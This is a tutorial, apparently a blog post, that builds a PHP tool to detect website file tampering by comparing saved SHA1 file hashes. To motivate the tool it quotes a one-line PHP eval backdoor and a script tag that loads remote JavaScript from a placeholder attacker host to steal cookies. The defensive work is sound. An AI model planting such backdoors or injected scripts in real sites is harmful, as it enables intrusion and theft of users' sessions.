This article presents an implementation of a validation mechanism for a website. The objective behind this is to detect any file modifications made by a bad guy.
In a typical case, an attacker exploits a website and hide a backdoor in a file in order to easily regain access to the website. A backdoor can be as simple as this:
<php eval($_POST['exploit']); ?>
All the attacker has to do after that is to send an HTTP POST request with a “exploit” parameter containing some php.
Instead of installing a backdoor, the hacker could also include some javascript on every page of the infected website in order to steal cookies information or to achieve any other XSS attack. For example, he would automatically include the following snippet on every html page:
<script type='text/javascript' src='http://www.HackerWebsite.com/xss.js'/>
So I am about to show you a way to detect those types of intrusion, if you never heard of hashing or you are not quite sure how it works, go take a look here! The hashing process is divided in two parts:
- Generating and saving the file signature (using a hashing algorithm) for each file of the website.
- Periodically checking if any file has been changed by comparing with the saved signatures.
I am using the SHA1 hash algorithm (you can use any other algorithm, just keep in mind that MD5 is not secure anymore). The process of generating and saving the file signatures is almost the same as checking those signatures. They both include browsing thru the directory tree and doing a action on each encountered file.
So to make the process reusable (not necessary easier to understand), I created a function that navigate thru directory and that have 2 functions pointers as parameters. One of the function will be called of every file encountered and the other one for each directory. Here’s the code:
//Class representing a file
class file
{
public $name;
public $path;
public $hash;
}
//Navigate thru all the subdirectory recursively of the $dir parameter
//@$callbackFile: function called for every file encounter while navigation
//@$callbackDir: function called before navigating into any subdirectory
function browse($dir, $callbackFile, $callbackDir)
{
//if the directory exists and we have enough permission
if($handle = opendir($dir))
{
//calling the directory function for the current Directory
$callbackDir($dir);
//for each item in the directory
while(FALSE !== ($file = readdir($handle)))
{
//Items called . and .. exists in each directory and we are not working on them
if($file != "." && $file != "..")
{
//if the current item is a directory
if(is_dir($dir .'/'. $file) == true)
{
browse($dir .'/'. $file, $callbackFile, $callbackDir);
}
//if it is a file
else
{
$cur = new file();
$cur->path = $dir .'/'. $file;
$callbackFile($cur); //callback function
unset($cur); //deleting the file object
}
}
}
closedir($handle); //closing current directory
}
else
echo "Fail opendir: '". $dir ."'";
}
We are missing the hash class:
//Helper class the hash various object
class hashing
{
//Hash a file
//@path: relative path from this php file to the targeted file
//@algo: name of the hashing algorithm (sha1, md5, ...)
public static function fileHash($path, $algo)
{
if(is_file($path))
return hash($algo, file_get_contents($path));
else
return -1;
}
}
And finally here are the full sources,containing all the other required functions.
In order to test it, extract all the file in a directory on your local server and visit index.php. Click on the “Generate” link and it should generate a list of signature for each directory and save them in “hindex.dat”. Now try to modify or add any file in the directory tree and visit index.php again and click on “Check” this time. You should now see an error messages saying that a file has been modified or added.
So yes it is working and no it is not perfect. An attacker could modify a file and update the list of signature. Or he could delete the list of signatures and you would not know what file has been modified or added. All I did was a proof of concept, if I get the time I’ll add the following features:
- Crypt the list of signature so it is unreadable nor modifiable.
- Generate a signature of all the signature lists and save it in the database.